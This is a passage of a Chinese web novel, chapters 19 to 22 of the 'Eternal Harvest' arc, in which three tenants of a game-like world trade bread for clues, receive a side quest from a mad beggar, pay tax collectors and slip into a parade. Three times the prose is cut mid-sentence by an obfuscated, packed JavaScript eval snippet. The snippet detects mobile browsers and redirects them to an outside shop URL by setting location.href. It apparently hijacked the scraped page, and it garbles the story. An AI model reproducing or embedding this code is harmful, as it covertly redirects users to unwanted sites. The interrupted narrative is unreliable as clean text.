李非鹤倒是先反应过来,虽然完全搞不懂状况,还是叫了声:“等等我!”也跟着追了上去。 征税官的脚程比之前的污泥怪物要快上不少,但相比季随山的速度还差着一截,这些NPC似乎仍想保持统一的冲锋队形,结果反而拖慢了追赶的进度。李非鹤后出发,也慢慢拉开了和巡逻队的距离,三个人就如此乱七八糟地跑着,离开了主街道冲进另一条小巷,绕过不时出现的污泥塘,在巷弄之间绕来绕去。 身后的追兵声渐渐被距离削弱了。最后,他们从一个堆满废弃木箱的窄巷出口冲出,进入了一片相对开阔的区域。 季随山终于慢下来,停了脚步。 而时安之已经快要跑死了——他一下挣脱季随山的手,扶着膝盖好一阵猛喘,面色发青,差点把自己的肺都呕出来。本来他还想问这人点什么的,但实在抽不出半点力气,停步之后没有原地趴下都是源自他强大的自尊心。 没过多久,李非鹤也跟了上来,微微喘息着问道:“怎么回事?……刚才你们到底发生什么了?” “……”无人回应。 季随山一声不吭。时安之根本没力气答话,并且他自己比李非鹤还要懵逼。 “……好吧。”李非鹤见状,默默把目光转开,转而观察起四周: “这是什么地方?看起来好像……是个……市场?” 时安之缓过半晌,才闻声抬起头。 与一般想象中的人声鼎沸不同,眼前这个所谓的市场,显得异常空旷,甚至死寂。 地面是坑洼不平的泥土,依然分布着大大小小的污泥塘。不远处排着两列用破烂草席和木架搭建起的摊位,门面黑洞洞的,宛如一只只盲眼,冷漠地注视着外围的一切。 有一些稀稀拉拉的人影,在摊位之间缓慢移动着。他们大多都衣衫褴褛,埋着脑袋,彼此没有任何交流。 极度诡异的一副景象。 与此同时,怀表在口袋中微微震动起来—— 【您已进入支线地点:交易市场。】 19. 永恒丰收(4):面包换情报 【您已进入支线地点:交易市场。】 【第一次缴纳倒计时:01:02:19】 三个人的怀表显然都收到了进入支线地点的提示。李非鹤观察着眼前的环境,谨慎道:“看来,这个地方会有抵达恩典教堂的线索。” 时安之无意识地揉着自己被掐红的左手腕,他这会儿刚把气喘匀,总算能说话了:“……未必是教堂的线索。” “嗯?”李非鹤疑惑。 “如果我没看错的话……” 时安之指了指李非鹤背后的方向。在巷口那排层层叠叠的矮小房屋上方,远远地隐约露出一个锋利的金色尖顶: “那个地方,应该就是我们要找的教堂吧。” 金碧辉煌,流光溢彩,通体散发着异样的吸引力,这样的地方如果不是最终目的地,那就有点说不过去了。 “确实很像。”李非鹤看见了,也不由承认。 “如果教堂就在那里——”时安之停下来,咳嗽一声,“那在我们面前的这个支线地点,能找到的线索,可能不是关于去教堂的路线的。” “我有一种感觉,这个世界线的任务并没有表面上那么简单。” 这都是出于第一个世界的经验。在那个假的103公寓里,规则中所谓的100%洁净度就是一个陷阱,只是打扫房间根本无法达到目标。如果第一个任务如此,这明显更大、更复杂的第二个世界,恐怕就隐藏着更多波折了。 “不管怎么样,既然怀表提示了这是支线地点,里面一定有重要的信息。我们先进去看看吧。”李非鹤建议。 时安之点头。随后转头对季随山道:“你呢?” 季随山看了他一眼,迈步径直走了进去。 朝里进一段距离,渐渐就接触到了市场里的人群。有一些是游走在摊位之间、面容麻木的路人,穿着粗布的破旧衣裳,男人佝偻着腰背,女人牵着稚童。也有一些是守摊的摊贩,草席上摆着萎缩的菜叶、萝卜、芜菁,一双双无光的眼睛扫视着经过的每一张脸。 每个人手边都提着一个藤编的面包篮。 三个人有先有后,穿梭在人流中。时安之留心着怀表的动静,这小东西却陷入了沉寂,再没有一点反应。 “我说……”李非鹤这时挤到他身边,小声道。 “……这个地方,不像是丰收的样子啊。” 【请穿越“永恒丰收”的庆典,进入位于城镇中心的恩典教堂。】 ——「永恒丰收」。 此时映入他们眼帘的景象,分明属于一个荒凉残破、穷困潦倒的世界。 时安之在一个摊位边停下,俯身指着一只烂掉半边的白萝卜,问摊主:“您好,请问萝卜怎么卖?” 摊主缓缓抬头,空洞的眼珠注视着他:“面……包。” “面包?” “面……包。” 李非鹤也跟着凑过来,礼貌地询问道:“您好。如果我给您一块面包,您可以告诉我怎样去恩典教堂吗?” 摊主还未说话,忽然背后传来一个尖利的女声: “这儿的人都是蠢蛋,只知道面包面包,什么都不会告诉你的。” 两人回头,看见三个衣着光鲜的家伙站在不远处的街边,两男一女,一看就不是世界线内的NPC。大概也是楼里的租客。 “你不如把面包给我,我来告诉你恩典教堂到底是什么情况。”那个说话的长发女人道。 “你知道?”李非鹤怀疑。 “怎么样,一块面包的价格,敢和我赌吗?”长发女笑道。 时安之看着他们,突然道:“你们是刷新在恩典教堂附近的租客吧。” 女人的眼神略微闪烁了下,瞟向时安之。她的语气变得有些生硬:“是又如何?我们刚从教堂过来,所以了解教堂的情报,可以帮你们节约不少时间呢。在这儿,面包就代表生存时长,用面包买时间可是公平买卖。” “嗯,那如果我能直接猜中你们的情报内容,岂不是既不必付出面包,也不用浪费时间?”时安之说。 “你在说笑话么?真无聊。” 女人撇了撇嘴,“情报不要的话,我可走了。” “——你们刷新在恩典教堂附近,却没有选择去完成主线任务,而是跑来了这个支线地点交易市场,说明主线任务上肯定存在你们无法解决的障碍。” 时安之不管她,自己说了下去。 “我猜,你们刚才已经抵达了教堂,并且做出了尝试,但无论如何也进不去。因为恩典教堂的入口处……” 他停下来,看着女人左右的男子。这三个人漂亮的衣服上都沾着不少泥点,远超出正常行路的范畴,甚至比刚刚遭遇过污泥怪物袭击的他们还要夸张。 “入口处,有一个大得没办法跨越过去的污泥塘。是吗?” “……” 女人不走了,用一双黑白分明的大眼睛瞪着他:“你怎么知道的?” “随便瞎猜的嘛。本来还不确定,现在确定了。”时安之微笑。 “……哼。运气真好。”女人总算仔细打量了他几眼,“我还以为这次新榜的第一名是个漂亮花架子。现在看来,至少是个走运的花架子。” “谢谢夸奖。”时安之毫不谦虚,“请问姐姐还有别的情报要卖吗?没有的话,我们就带着面包先走了。” “等等!” 女人出声,她身边的两个男人也往前踏了半步,手摸进口袋里,眼神不善地盯着时安之。“真是的,本来这次想用和平的办法换面包的……既然你不配合,我们只好动用一点武力了。” 市场里的气氛瞬间转变。 身边依旧人来人往,但没有一个路人抬头看他们,只是脚步匆匆地从旁擦过。李非鹤则后退了一步,将面包篮往自己怀中藏了藏。 “我很好奇。”时安之一动也没动,而是看着那长发女人,轻轻开口。 “为什么姐姐敢对我们动武呢?难道我们看上去就那么弱吗?” “你们?我没记错的话,你们两个都是新来的吧。”女人不以为意,“才走完一个世界的新人,哪儿有机会拿到限定武器和技能,比起老人来说,你们的实力还差得远呢。” “好吧,我们确实是新来的。”时安之看了看李非鹤,“不过,谁说我们只有两个人的?” “你看,明明那边还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283938|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一个存在感不太强的朋友呢。” 伴随着时安之指过去的手势,女人的目光投向市场一侧。一直未曾出声、也没有任何动作的男人背靠木架,如影子般完全隐匿了气息,正抱着手臂,冷冷旁观着面前的闹剧。明媚的日光从市场的棚顶缝隙洒落,斑驳的光影之间,隐约能看清他冷峻英挺的半张面容。 没有杀气,没有言语。 但那三个气势汹汹的男女,目光触及到他面孔的瞬间,就如同被当头浇下一桶冰水,所有的气焰都熄灭了。 “阿……阿尔法?!” 手已经摸进兜里掏武器的男人僵在了原地,声音都变了个调。 长发女人的脸色也唰地一下变得惨白,方才松弛的情绪荡然无存。“对,对不起!我们不知道您也在这儿……”她有些语无伦次,身体开始不自觉地向后退缩。 面对眼前这些老租客,季随山终于开口说了句话: “还有什么情报。” “确实、确实有一个污泥塘,完全堵塞了恩典教堂的入口,我们尝试了所有方向,都无法进去。”女人立刻忙不迭地往外吐字,“一踩进去,就会被同化成怪物,我们在那儿丢了一个人手……实在没办法了,才寻着路来支线地点碰碰运气。绝对没有要和您作对的意思,都是巧合!是误会!” “你们在这个市场发现什么了吗?”时安之忙追问。 “和这些摊贩搭话,不管是买东西还是要情报,都得给他们面包!”女人说,“我们哪儿有那么多面包来试错?所以才想……” “所以才想抢我们的面包。”李非鹤了然地帮她接上。 “我们没有敌意……”其中一个男人弱弱道,“我们真的不知道,刚才没看见是……” “滚吧。” 季随山好像不想听了,帮他结束发言。 三个人如蒙大赦,立即头也不回地往反方向跑,很快就从他们的视线中消失了。李非鹤长长地吐一口气,由衷道:“看着他们的表情感觉真爽。” “是当狐狸的感觉很爽吧。”时安之笑。 “嗯……”李非鹤声音变弱,没敢看旁边站着的那头老虎。 “看样子,我们要在这里得到情报,必须付出一些面包。”时安之的思绪已经迅速回到了任务上,“每个人的面包都有限,很快还得上缴给征税官,我们得权衡一下,问什么样的问题最合适。” “……”李非鹤沉默了一会儿,忽然道:“我先来试试吧。” “嗯?” 没等时安之反应过来,李非鹤已经提着他的面包篮,走到了不远处的一个摊位前。 守摊的是一个老妇人。与其他的摊主相比,她看起来更苍老,两眼也更加浑浊,面容简直就像一块干瘪的树皮。见到有人接近,老妇人颤颤巍巍抬头,伸出枯槁的手臂,嘴唇蠕动着:“面……包……” “是的,婆婆。我用面包换您一句话。”李非鹤蹲下身,平视着老妇人。 他从藤编篮子里取出一块法棍面包,缓缓放在老妇人面前的草席上,声音清晰而平静: “这个城镇正在庆祝‘永恒的丰收’。” “可为什么……你们却都在挨饿?” 20. 永恒丰收(5):发疯的乞丐 【租客「李非鹤」失去了一根「法棍面包」,现有「法棍面包」*6。】 【您已接触到限时交互NPC。】 老妇人浑浊的眼抬了起来,望向面前俊秀的长发青年,发了好一会儿怔。 “面包......”她依然这样开口。 “......面包,不能留下。” “为了庆祝丰收......每个人......所有的面包......都得上缴,然后......等待分发。不可以......私藏......吃掉面包......” “......浪费食物......是罪行......” “浪费食物是一种罪行吗?”李非鹤捕捉到关键词,急忙追问,“如果人们浪费了食物,后果会怎么样呢?” “如果浪费了食物......” 老妇人的眼神突然抖动起来,好像回忆起了什么可怕的事情,又或是在为一桩久远的过去而哀恸。她干枯的嘴唇嗫嚅着,用沙哑的嗓子道: “浪费了食物......就会像「她」一样受到惩罚。” “她?她是谁?”李非鹤问。 “......她是......天真的少女......” “......冰冷的眼泪......” “......绞架上的女巫......” 随着每一个字的吐露,老妇人浊灰色的眼珠逐渐迸发出光芒,紧紧盯着李非鹤,以一种又轻又锋利的语气,说出两个字作为结尾: “——「英娥」。” “英娥?” 李非鹤浑身一震,还想继续追问,老妇人却已经把头垂了下去。她空洞的眼神凝视着眼前的草席,再次重复起那两个字: “面......包......” 【NPC限时交互已结束。】 “......看来一块面包,最多只能问三个问题。”李非鹤站起来,回到时安之身边,“你听见她刚才说的话了吗?你怎么看?” 时安之点头,看着老妇人麻木枯槁的面容:“她说的那个名字,应该非常关键。” “英娥......”李非鹤念道,“是个女性的名字。” 不知道为什么,总觉得这个名字有点耳熟。时安之沉思。 “我们还要继续问其他人么?”李非鹤提议。 时安之:“嗯......一块面包的代价不小,先不要盲目尝试了。我们在市场内走走吧,看会不会触发其他的剧情。” 他看了眼旁边的季随山,对方依然没有什么反应,不知道是默许还是干脆无视了他们。不过,在时安之和李非鹤离开老妇人的摊位,继续往前探索时,隔着一段距离,季随山还是默默地跟上了。 两人于是不再停留,沿着摊位之间泥泞的通道向市场更深处走去。 越往里,光线越是昏暗,两侧所贩卖的东西也越发稀少,到最后干脆就铺着空荡荡的草席。所遇见的守摊人大多都眼神空洞,对经过的陌生人毫无反应,只是紧紧抱着自己空空如也、或仅仅剩下一两根面包的篮子。 空气中一直弥漫的谷物酸涩味,也逐渐被一种更浓重的腐烂般的气息覆盖了。 “好像没什么特别的发现。”李非鹤环顾四周。 时安之没说话,看着两侧的空摊位,思考。 突然一个冷淡的男声在身后响起,季随山不知道什么时候已经走到了他们背后: “这里不只有摊主。”他说。 时安之没料到这货会冷不丁地冒出来,吓得差点左脚绊右脚。他猛地回头,看见季随山那鹰隼般的目光正牢牢盯着左前方,便顺着后者的视线看过去。 左前方的空摊位,守摊人是一个满脸斑点、腰背佝偻的老头。时安之继续往旁边找,很快就发现,在老头脚边不远处,摊位的木架子背后,隐隐约约露出一双赤 | 裸的脚。 “......”时安之。 接下来的支线剧情不会是发现有人在交易市场抛 | 尸吧。 好吓人的。 他向前快走几步,终于看清,那里蜷缩着一个身披麻袋、蓬头垢面的人,面前摆着一只破碗,身体还在瑟瑟地抖着——幸好是活的。 “一个......乞丐?”李非鹤犹豫道。 这还是第一次,他们在交易市场里发现了摊贩和路人之外的存在......一个乞丐。 一个不一样的NPC。 时安之忽然心念一动,走上前,在乞丐面前蹲了下来。对方缓慢地抬头看他,深陷的眼眶中投出道呆滞的视线,针一样扎在他身上,几乎让他有种被审视的错觉。 “您好。”时安之说。 就在同一个瞬间—— 怀表在他口袋中剧烈地颤动。 【您已接触到特殊单位NPC。】 时安之定下心来。 他从自己的藤编篮子中缓缓取出一根法棍面包,放进了乞丐面前那个缺口的破碗里。 “我有一块面包。”他清晰地开口。 “请问,我能和你换取什么?” 【租客「时安之」失去了一根「法棍面包」,现有「法棍面包」*6。】 【特殊单位NPC「发疯的乞丐」注意到了您。】 “上一次吃到这么好的面包,还是我在北回归线的热带雨林里当蘑菇的时候。”乞丐认真地看着时安之,一字一句地说。 时安之:“......” ? 发疯的乞丐? 这是什么NPC? “谢谢你,如果没有这根面包,我就会越来越轻,变成红嘴鸥飞走了。”乞丐接着道,“作为奖励,我决定告诉你们一个关于世界核心的秘密。” “什么秘密?”李非鹤立刻凑了过来。 “面包越多,吃面包的人越多。吃面包的人越多,面包越少。所以,面包越多,面包越少。”乞丐严肃地说。 “......”李非鹤汗,“很,很哲学。” “面包越多,面包越少。”时安之耐心地重复,“嗯,所以呢?” “所以。” “嗯?” “所以我还需要更多的面包。” 时安之:“......” 李非鹤:“......” “他是不是在讹我们?”李非鹤转头对时安之小声道,“这个乞丐的精神看起来就不太正常,他给的东西真的有价值吗?” “我不知道他能给我们什么信息,但他一定很重要。毕竟他是这个交易市场里的「特殊单位」。”时安之说。 “......好吧。”李非鹤被说服了,哀哀地叹一口气。 他从自己的藤编篮里取出了第二根面包,像时安之一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283939|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放进乞丐的碗里。 【租客「李非鹤」失去了一根「法棍面包」,现有「法棍面包」*5。】 【特殊单位NPC「发疯的乞丐」注意到了您。】 【租客「季随山」失去了一根「法棍面包」,现有「法棍面包」*6。】 【特殊单位NPC「发疯的乞丐」注意到了您。】 第三根面包落进碗里,两个人同时回头。季随山站在身后,并没有看他们,只是冷冷地盯着那个乞丐。 【特殊单位NPC「发疯的乞丐」已获得在场所有租客的面包。】 【支线任务「偷窃文书」已开启。】 乞丐抬起头,眼神中乍现出一抹狂热的色彩。 “慷慨的施舍者啊......”他开口。 “你们让我回忆起了很久很久以前的往事。在我还没有变成海鸥、变成蘑菇、变成下水道的鳄鱼之前,那么久远的往事。” “在这个城镇的东南角,有一座秘密的档案馆。人们都以为它废弃了,其实它的血管还在工作......永远工作,永不停息。” “在档案馆的中心,存放着这个世界的所有真相,你们只要抵达那里,就能知道任何你们想知道的事情。” 乞丐从身上不知道哪个角落摸出来一张草纸般的东西,推到三个人面前:“这是我画的路线图。只要跟随这张图,就能找到档案馆,然后,请满足我唯一的请求......为我偷窃一份文书吧。” “什么样的文书?”李非鹤看着他异常肃穆的神色,不禁有些动容地问道。 “《母猪的产后护理》。” 乞丐说。随后低下了头。 【特殊单位NPC「发疯的乞丐」限时交互已结束。】 “我开始有点怀疑我自己的精神状态了......”李非鹤说。 时安之笑。然后把那张路线图接过来,在地上展开。 这是一张非常有个人风格的画作。 路线画在一张带着不明污渍的皱巴巴的草纸上,线条歪歪扭扭,用的似乎是燃烧过的黑色木炭。图的左上角有一个歪斜着的酒杯,旁边标注着“市场”——整张图上唯一一个还算清晰的词。 从酒杯延伸出来数个方框,其间还有一条抖动的线,七弯八拐,一会儿拐直角,一会儿绕圆弧,最终指向了下方一个极其传神的简笔画猪头。猪头旁边用更加扭曲的字迹,写着模糊可辨的“档案馆”,并在底部画上了一个巨大的X。 一旁有备注:禁入。 “能看明白吗?”李非鹤见他看得认真,问。 “结合实际路线,边走边对照的话......应该不难。”时安之回答。 “不过,看起来这个档案馆是禁止我们这样的无关人士进入的。任务可能不怎么安全。” “就没指望过这地方安全。”李非鹤表示。 “——但我们最好是速战速决,因为很快就该交第一次面包了。如果后面还有更多这样的任务,我们的这点面包可能会吃不消。” 时安之听到这里,看了看怀表的倒计时: 【您正处于支线任务「偷窃文书」中。】 【第一次缴纳倒计时:00:02:28】 ......岂止是很快。 他回头望着身后这个空旷而破败的交易市场,几乎就已经听见了金边制服们那整齐划一的皮靴声。 21. 永恒丰收(6):庆典游行 【您正处于支线任务「偷窃文书」中。】 【第一次缴纳倒计时:00:00:10】 两列金边制服在三人面前整齐地停下,面容和动作都别无二致,姿势甚至连分毫的偏差也无,恍惚是同一个人在镜中的照影。 领头的迈出一步,脸孔依旧刻板,用着一种毫无起伏的声调开口: “愿丰收与您同在。根据《丰收庆典管制条例》,现对您进行粮食征收,请出示您的面包篮,并上缴一根「法棍面包」。” 怀表微微震动。时安之和李非鹤对视,两个人都觉得没有必要在这条死规则上多做试探,于是各自都从篮子里取出了一根面包。 金光闪过,两根面包都从手上消失,领头征税官那盖着白布的大篮子更鼓了几分。 【租客「时安之」失去了一根「法棍面包」,现有「法棍面包」*5。】 【租客「李非鹤」失去了一根「法棍面包」,现有「法棍面包」*4。】 领头满意地点点头,对他们鞠了个躬: “感谢您的配合,恩典会照耀您的道路。” 接着,皮靴响,巡逻队整齐地转过身,正好和季随山打了一个照面。 两相沉默。 领头的征税官呆呆地凝视着季随山的脸,忽然像是激活了什么诡异程序般,眼中红光一闪。 “发现可疑人员。”他语气死板道,“经案卷检视,该可疑人员曾袭击过公职征税官。” “根据《丰收庆典管制条例》,现对您实施制裁性质征收。请出示您的面包篮,并立即向当前征税官缴纳「双倍」的粮食,否则将被永久驱逐出丰收的世界。” “重复,请立即缴纳「双倍」的粮食,否则将被永久驱逐出丰收的世界。” “重复……” “喂,你们管那货叫征税官吗?”时安之忍不住打断了他,“那个明明就是污泥怪吧。不是我们袭击它,是它袭击了我们,我们在进行正当防卫好么?” “……” “重复,请立即……” “他好像听不懂。” 李非鹤无奈道。 季随山眼神微动,扫视过市场里的两列金边制服,似乎在权衡对方的战力和数量。得出结果之后,片刻间他就做了决定,并没有犹豫,伸手进自己的篮子里,取出两根面包。 金光闪过。 【租客「季随山」失去了两根「法棍面包」,现有「法棍面包」*4。】 “……至少现在我们知道不能袭击这些金边制服哥了。”李非鹤说,“即使是变成污泥怪的也不行。” 他话音未落,怀表突然又是猛地一震。 【第一次缴纳已结束。】 【您已接触到限时交互NPC。】 限时交互? 李非鹤一怔——完成缴纳之后,可以和征税官对话? “感谢您的配合。恩典会照耀您的……” “那个,请等一等!” 李非鹤大声地喊出来。正要转身离开的领头征税官顿了一顿,停住了脚步。 “我们、我们是外来的游客,想到这里的教堂,来瞻仰丰收的恩典。”李非鹤十万火急地边想边编,“但是,恩典教堂门口有很大的一片污泥,我们没办法通过。请问您知道……嗯……怎样可以抵达教堂吗?” 领头的人转过来,看着李非鹤,半晌。 “知道。” 他张开嘴,干巴巴地答复。 “第一步,请不要弄脏您的靴子。第二步,请使用您的面包。” “感谢配合,恩典会照耀您的前路。” 说完这句重复的台词,他再次弯腰鞠躬。接着“啪”的一声,靴子敲击靴子,两列金边制服一齐站定,整齐划一地转身,踏着一模一样的步伐离开了。 【NPC限时交互已结束。】 【倒计时重启。】 【第二次缴纳倒计时:02:00:00】 “第一步,不要弄脏靴子,第二步,使用面包?”李非鹤站在原地,茫然地复述,“这是什么意思?” “意思是,他在说废话。”时安之一点不客气道。 “这些穿制服的家伙,说的话都不可信,他们属于世界的规则本身,而不是能为我们提供帮助的个体。我们只需要按时缴纳面包就好,别和他们产生太多交集才比较安全。” 相信这些征税官会好心提示线索,不如相信「阿尔法」突然决定要开一家爱心面包店——时安之在心里把话补充完整。 当然,这都是源于上一个世界中他对付那套公寓规则的经验。 “是这样吗……” 李非鹤喃喃,一副陷入思考的样子。 时安之倒是很快就回收了思绪:“按照现在的进度,我们的面包最多只能再支撑每人两次缴纳,那就是……四个小时。” “时间不太宽裕,我们要抓紧时间去档案馆了,看看在这个支线任务里能发现什么信息。” 一个存放着大量文书的档案馆,能找到的东西肯定不只有《母猪的产后护理》。 于是,跟随那张疯疯癫癫的地图的指引,三人从死气沉沉的交易市场离开,钻过几条巷子,重新回到了那条石板铺成的主街道上。 令他们惊讶的是,与之前经过时死寂而压抑的氛围截然不同—— 此时的主街道,赫然正上演着一场盛大的庆典游行。 一列列衣着光鲜的人,满脸涂着厚重得几近干裂的白油漆,嘴角鲜艳的红色颜料横向拉开,一直开裂到发际垂吊着的巨大耳环为止。这些看上去似乎是某种贵族的家伙,一路都在反复挥舞着手中枯黄的谷穗,迈着整齐的步伐前进,嘴里唱着荒腔走板的怪异歌词。 在队伍的外围,则游走着无数个身穿华丽戏服的小丑和乐手。他们组成了一支小型乐队,敲锣打鼓,杂耍戏法,一路锣鼓喧天,殷勤地为中间的贵族们伴奏。 这支庞大的队伍所过之处,站在街道两旁的那些衣衫褴褛的民众,都会伴着节奏,发出麻木而机械的欢呼: “——丰收!永恒!恩典!万岁!” 【您已进入“永恒丰收”盛大的庆典游行。】 喧闹的声浪扑面而来,仿佛要淹没他们眼前的一切。 时安之忽然有种不好的预感。他迅速展开那张地图,仔细对照一番,眉心微微蹙起。 根据图示,他们要前往东南角的档案馆……就必须穿过这条人头攒动、被游行队伍完全占据了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283940|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的主街道。 “……人太多了,硬闯会不会有麻烦?”李非鹤也看见了地图,意识到他们现在面临的情况,“而且,这些人看上去简直比「发疯的乞丐」还要疯……” “没办法硬闯,主街道太宽了,横着穿过去的话,我们很快就会被挤散开的。不知道会被带到什么地方去。” 时安之看着这个人流量,心里也有点发怵。但这游行队伍的长度根本就是无穷无尽,完全看不到结尾,如果在这里等到队伍过去,还不知道要浪费多少时间。 “要不然,我们……”他犹豫了一下自己要说出口的提议。 “我们混进去。” “混进去?!”李非鹤瞪大眼睛。 “嗯,你看,我们的目标在城镇的东南角,这个位置。” 时安之的手指从猪头出发,在地图上划过一条清晰的弧线。 “乞丐在图上标识出来的,是最短也最节省时间的路线。但是,如果我们跟随这支游行队伍的方向,一直沿着主街道向下走……” 指尖最终停在了几个方框尽头,一个空旷的圆形区域,紧邻着刚才作为出发点的那个画风抽象的猪头。 “——主街道会汇入这个广场。而广场的旁边,看起来就是档案馆的后门。” 李非鹤瞪着那张酷似乱涂乱画的地图,又看看主街道上那些妆容诡异、动作僵硬的游行人群,内心似乎在做着艰难的挣扎。 “可是,我们没有化那样的妆容……” “石墙的缝隙间有用来黏合的白色泥土,可以涂在脸上,这个倒不是很难。至于红色的部分……” 时安之停顿了一下。他转过头,看向一边的季随山。 “季先生,我手上没有锐器,可能需要借你的刀一用。” 声音很平静,但话里的意思让李非鹤头皮发麻:“等一下,你该不会是想……” 时安之没有回答,只是定定地注视着季随山。 后者还是抱着手臂,立在巷口,听见这句话后,才将一直端详着游行队伍的视线缓缓收回,钉在时安之的脸上。 “你确定吗?”他冷冷道。 “有什么不能确定的?”时安之偏头,疑惑。 季随山于是不再说话了。 他并没有去拔自己那把漆黑的长刀,而是扫视了一眼身旁靠着的斑驳石墙,抬起左手,轻松地从墙缝中掰下来一片边缘锋利的碎石片。之后看也没看一眼,直接就递到了时安之面前。 碎石的质感非常粗糙,棱角分明,刃口闪着阴冷的光。时安之垂眼看去,从这把石刀上,读到了对方这样的潜台词: ——刀给你了,你敢不敢用? 呵呵呵。 他把这块碎石片接过来,掂量着在指间转了一圈,然后毫不犹豫,在手掌上划开一刀。 一点殷红顺着刀痕从掌心沁出,随后汇成一粒饱满的血珠。 时安之用指腹沾起那一点掌心血,抹过嘴唇,再沿着自己的嘴角拉开。一抹鲜艳的红色就在他白皙的脸上绽开,一路蔓延到耳际,形成一个极长的微笑,诡谲中甚至带上了一丝妖异。 接着他翻转手腕,顺势把石刀递回到了季随山面前: “喏,轮到你了,季先生。” 22. 永恒丰收(7):自食其果 季随山垂眼看着他。 时安之递回来的石刀上还沾着一点血渍——视野里映出的是粗糙的灰色岩石片、边缘薄薄的一线鲜红、和风衣袖口露出来的一段纤细洁白的手腕。 视线再往上,就是一张血红色拉出来的微笑鬼面,这张脸不需要涂抹白泥,本身就带着一种病态的、冰冷的苍白。季随山回忆起他掐住那段脖子时,掌中那种一用力就可以拧断的柔弱,触感非常凉,有着明显比常人更低的体温。 疾病?某种废土辐射导致的异常?还是……被冰冻过? 他还感知到了某种别的东西。 无论如何,面前的这个人一定不是个普通的新租客。这个所谓的新榜第一名,可能会是这一轮租期里最大的变量,也是最大的危险。 “……” 季随山把石片接了回来,没有说一句话,只是抵在自己手心,面无表情地一划。 血珠涌出。 “……嗨,那个,我说,其实我们可以先涂脸的不是吗?” 李非鹤顶着一张已经抹好了白泥的脸,举起手,弱弱地在一旁插话。 【第二次缴纳倒计时:01:40:35】 【您已进入“永恒丰收”盛大的庆典游行。】 化妆妥当的三个人,甫一混入庞大的游行队伍之中,瞬间就看不见对方了。 在盛大而喧嚣的乐鼓声里,在汹涌的人潮里,时安之却感到一阵寒意。他只需稍稍转头,就能看清四周那些贵族的面孔:每张脸都挨得极近,天蓝色的眼珠宛如一粒粒打磨精良的玻璃球,而脸上如出一辙的神态,活像是成百上千张镜子里的倒影——成百上千个一模一样的人,成百上千具一模一样的身躯。 根本没有人看向时安之,他却觉得所有的眼珠都在注视他,令他从脚底升起一股森然的寒气。 他闭上眼睛,在怀里抱紧自己的面包篮,顺着人潮向前。 “——丰收!永恒!恩典!万岁!” 也不知在这样窒息的环境中行进了多久,鼎沸的喧哗在前方慢慢散开了,一个开阔的广场轮廓逐渐浮现在视野尽头。 广场的边缘,一道小巷的末端,沉默地矗立着一栋敦实的四方形建筑,与周围低矮的石屋格格不入。建筑的墙壁很高,狭小的窗户大多都被封死。就在其正对着广场的方向,一扇被阴影半掩着的矮小门扉进入了时安之的视线。 人潮中无法取出地图对照,他努力回忆起那图上的方位。 应该就是这里没错。 时安之立刻开始尝试不着痕迹地离开队伍。然而他走在游行的疯狂人潮之中,就像漂流在大海中的一根浮木,那一点点弱小的力气根本就无法支撑他挤出去多远的距离。 可恶,漏算了这一点。 这人也太多了吧! 他被挤了一个趔趄,但并没有摔倒,因为在人与人之间几乎找不到任何可以通过的缝隙。眼看着广场越来越近,时安之右手抓着藤编篮子,艰难地伸出左手,想拨开身旁挡住他的两个贵族,试图往侧边脱离。 忽然手腕上传来一股巨大的力道。 一只手猛然抓住了他,攥着他的手腕,将他向外拉出去。 时安之先是一惊,下意识地想挣脱开。但那只手抓得非常紧,力量极大,带来了一种拉拽的痛苦,很快他就反应过来,想到了一个人。 如同一柄利剑——在不停攒动的人头之间,季随山漆黑的眼向他投来一道目光。 下一秒,时安之终于脱出了游行队伍,重重撞进广场边缘那条狭窄的巷道。由于惯性,他直接被甩到了地上,好不容易才稳住身形,没摔出个大马趴。 再抬起来看左手,本来就发红的手腕,现在甚至出现了几道淤青的指痕。 “……下次抓别的地方行不行!”时安之怒道。 “……” 季随山视线移开,没有回应。 他们在小巷里等了几分钟,李非鹤总算也冲了出来。他满头大汗地扶着膝盖,直喘粗气:“太可怕了,我这辈子都没见过这么多人……” 时安之低头看了看怀表: 【您正处于支线任务「偷窃文书」中。】 【第二次缴纳倒计时:01:05:29】 “离第二次交面包只剩一个小时了。”他说。 “嗯,要加快进度了,我们赶紧走吧。”李非鹤话没说完,就看见季随山已经孤身一个人往巷子深处进去了。 灰色的四方形建筑位于小巷的尾端,这头应该是后门,只开了一扇小小的门洞,用生锈的铁栅栏严密地封堵起来。一旁挂着斑驳掉漆的几个金属字:「城镇档案馆」。下方则用油漆印刷着“已废弃,禁止进入。” 时安之摸了摸铁栅栏门上挂着的铁锁,即使蒙了一层厚厚的灰尘,也依然十分牢固。 “我们——” 他只说了两个字就闭嘴了,因为季随山拔出了背后那把黑刀。 …… 